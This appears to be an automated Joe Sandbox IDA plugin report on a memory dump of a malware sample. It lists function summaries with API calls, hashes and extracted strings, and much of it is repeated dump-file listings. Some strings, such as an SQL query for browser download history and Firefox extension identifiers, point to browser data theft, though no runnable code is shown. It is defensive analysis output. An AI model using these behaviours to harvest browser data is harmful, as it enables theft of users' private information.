Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$memcpy
String ID: string too long
API String ID: 2304785028-2556327735
Opcode ID: 780309356e44994e79641b5e47f01ba333561aec0ac3aaedbfc38c0eb9e4ecda
Instruction ID: 56787d718492e22ba16ac02d65d1463549b8c03d15ae407e311b27c70fc9c033
Opcode Fuzzy Hash: 780309356e44994e79641b5e47f01ba333561aec0ac3aaedbfc38c0eb9e4ecda
Instruction Fuzzy Hash: 7431D7323201184BD7249E9CD480A7EF7EFEFD5BA0760493EE6968B681C7B19C548790

Function 003002C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00300300
RtlAllocateHeap.NTDLL(00000000), ref: 00300307
wsprintfA.USER32 ref: 00300317

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Strings

%dx%d, xrefs: 00300311

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 92f3644ef977f1a746c15a362016a683411b8742478ed648f067387b34270d9c
Instruction ID: c6b0e74bdb8eed61461ccfd88dbffe60ed9961046c765fc6321eb7dad5ba3fdc
Opcode Fuzzy Hash: 92f3644ef977f1a746c15a362016a683411b8742478ed648f067387b34270d9c
Instruction Fuzzy Hash: 41F068327413147BF62027B46C0EF9A7B9CEF56B91F080521F705D71D0C7A1580657A5

Function 00301280 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,?,00302B26,?), ref: 003012A0
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,?,00302B26,?), ref: 003012CB
CloseHandle.KERNEL32(00000000,?,?,00302B26,?), ref: 003012D6

Strings

&+0, xrefs: 00301297, 003012AD, 003012DC

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWrite
String ID: &+0
API String ID: 1065093856-2468884101
Opcode ID: c3aa93e318a48a57bf99f69fc1792839ce4c055f07ed2eee0eab7c674cc2165a
Instruction ID: 539d3a066335ddfaa4e98dae2e1b7d36352fd539c587cd6ac504d96ccc140ddd
Opcode Fuzzy Hash: c3aa93e318a48a57bf99f69fc1792839ce4c055f07ed2eee0eab7c674cc2165a
Instruction Fuzzy Hash: F5F0AF315502187BEA20EF60EC4AFFA776CDF117A0F004265FE05A62C0DBA0AD168AE0

Function 002F7D70 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 245COMMON

Download Yara Rule

Strings

SELECT target_path, tab_url from downloads, xrefs: 002F7EB1
Downloads, xrefs: 002F7DA7, 002F7E1C

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen
String ID: Downloads$SELECT target_path, tab_url from downloads
API String ID: 2762123234-2176162482
Opcode ID: afc4687a823e7751790bf810f0c4ba289e3d3cb95633d29ed91f69ba7d0c5bb5
Instruction ID: 757835457aae1bd2a0c64ece71fa0c5b150e424b5d4d63b274d080a878a61ddb
Opcode Fuzzy Hash: afc4687a823e7751790bf810f0c4ba289e3d3cb95633d29ed91f69ba7d0c5bb5
Instruction Fuzzy Hash: C691067192010DABDB59EBA0CE56DFEB378AF54780F504538F60272191EF74AA28CF61

Function 002FF190 Relevance: 6.2, APIs: 4, Instructions: 171COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000000), ref: 002FF1E1
VirtualQueryEx.KERNEL32(?,?,?,0000001C), ref: 002FF22D

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: QueryVirtual
String ID:
API String ID: 1804819252-0
Opcode ID: e0318bdd681fd94c1e0703256955d8c0c4a1d4c847e2ff56baf7d2332a51473e
Instruction ID: a9cfea75d37e36d437a7275b57bff61348ff211ae7ddd5d1d70fb79eba925d87
Opcode Fuzzy Hash: e0318bdd681fd94c1e0703256955d8c0c4a1d4c847e2ff56baf7d2332a51473e
Instruction Fuzzy Hash: 2B51C076A1001DABEB14CE68DD40ABEB3EAEF88340F148139FE09E3340D635DD118BA1

Function 002FB180 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 157stringCOMMON

Download Yara Rule

APIs

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Part of subcall function 002F6C20: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,00000000,?,002F1916,?), ref: 002F6C3F
Part of subcall function 002F6C20: GetFileSizeEx.KERNEL32(00000000,?,?,002F1916,?,?,?,?,?,?,?,?,?,?,?,003101E9), ref: 002F6C55
Part of subcall function 002F6C20: LocalAlloc.KERNEL32(00000040,?,?,?,002F1916,?), ref: 002F6C70
Part of subcall function 002F6C20: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,002F1916,?), ref: 002F6C89
Part of subcall function 002F6C20: CloseHandle.KERNEL32(00000000,?,002F1916,?,?,?,?,?,?,?,?,?,?,?,003101E9), ref: 002F6CB1

Part of subcall function 00300DA0: LocalAlloc.KERNEL32(00000040,002F87D9,?,?,?,?,002F87D8,00000000,00000000), ref: 00300DBC

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00313544,003101E9), ref: 002FB224
lstrlen.KERNEL32(00000000), ref: 002FB240

Strings

^userContextId=4294967295, xrefs: 002FB267
moz-extension+++, xrefs: 002FB275

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$AllocLocallstrcatlstrlen$CloseCreateHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 161838763-3310892237
Opcode ID: 4e10920772b3c997ea3acb245fdb0c48bef8af49087a2b0190bc70f991d9a7f4
Instruction ID: 14f190aadc0aaf7a2c04fa4504edaebbd620087879b0c870c9206a88efc07900
Opcode Fuzzy Hash: 4e10920772b3c997ea3acb245fdb0c48bef8af49087a2b0190bc70f991d9a7f4
Instruction Fuzzy Hash: 5851137192010D6BDB58FB70DE669FDB739AF547C0F404138FD0262291EF64AA28CEA1

Function 002FFDE0 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,?), ref: 002FFE02
GetLastError.KERNEL32 ref: 002FFE10
GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,?), ref: 002FFE48

Part of subcall function 00300B20: GetProcessHeap.KERNEL32(00000000,002F66B7,?,002F66B7,?), ref: 00300B2D
Part of subcall function 00300B20: HeapFree.KERNEL32(00000000,?,002F66B7,?), ref: 00300B34

wsprintfA.USER32 ref: 002FFE92

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: HeapInformationLogicalProcessor$ErrorFreeLastProcesswsprintf
String ID:
API String ID: 837085947-0
Opcode ID: f8c5f1be7eb61f9dae5a531a25f6b449bfbf25949a020e961825876a4fecf49f
Instruction ID: 2d1588766ede766c49dd847fd797d947c0775c5ae0550b71078a504bcb5192b1
Opcode Fuzzy Hash: f8c5f1be7eb61f9dae5a531a25f6b449bfbf25949a020e961825876a4fecf49f
Instruction Fuzzy Hash: CA213332E1122EA7DB219F64AD40ABFB7A8EF40B50F180174EE0896213E7319E2586D1

Function 0030A530 Relevance: 6.1, APIs: 4, Instructions: 80timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,0030BE6F), ref: 0030A568
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,0030BE6F), ref: 0030A576
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,0030BE6F), ref: 0030A590
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0030A5B0

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$LocalUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 568878067-0
Opcode ID: 818412e8e8a0b6793b022224b6fdc477e50400084c033ae3e5f8a8bee80d677a
Instruction ID: 857bb248490c173523369ac482d8f031a8a5884b11b750d832b49b78bf1be473
Opcode Fuzzy Hash: 818412e8e8a0b6793b022224b6fdc477e50400084c033ae3e5f8a8bee80d677a
Instruction Fuzzy Hash: E2315E71D10B189FDB19CFA9C890AAAFBF5FB48304B008A2EE19AD3750D770A504CF54

Function 00300F90 Relevance: 6.0, APIs: 4, Instructions: 37fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 00300FAD
GetFileSizeEx.KERNEL32(00000000,?), ref: 00300FBF
CloseHandle.KERNEL32(00000000), ref: 00300FCA
CloseHandle.KERNEL32(00000000), ref: 00300FD9

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
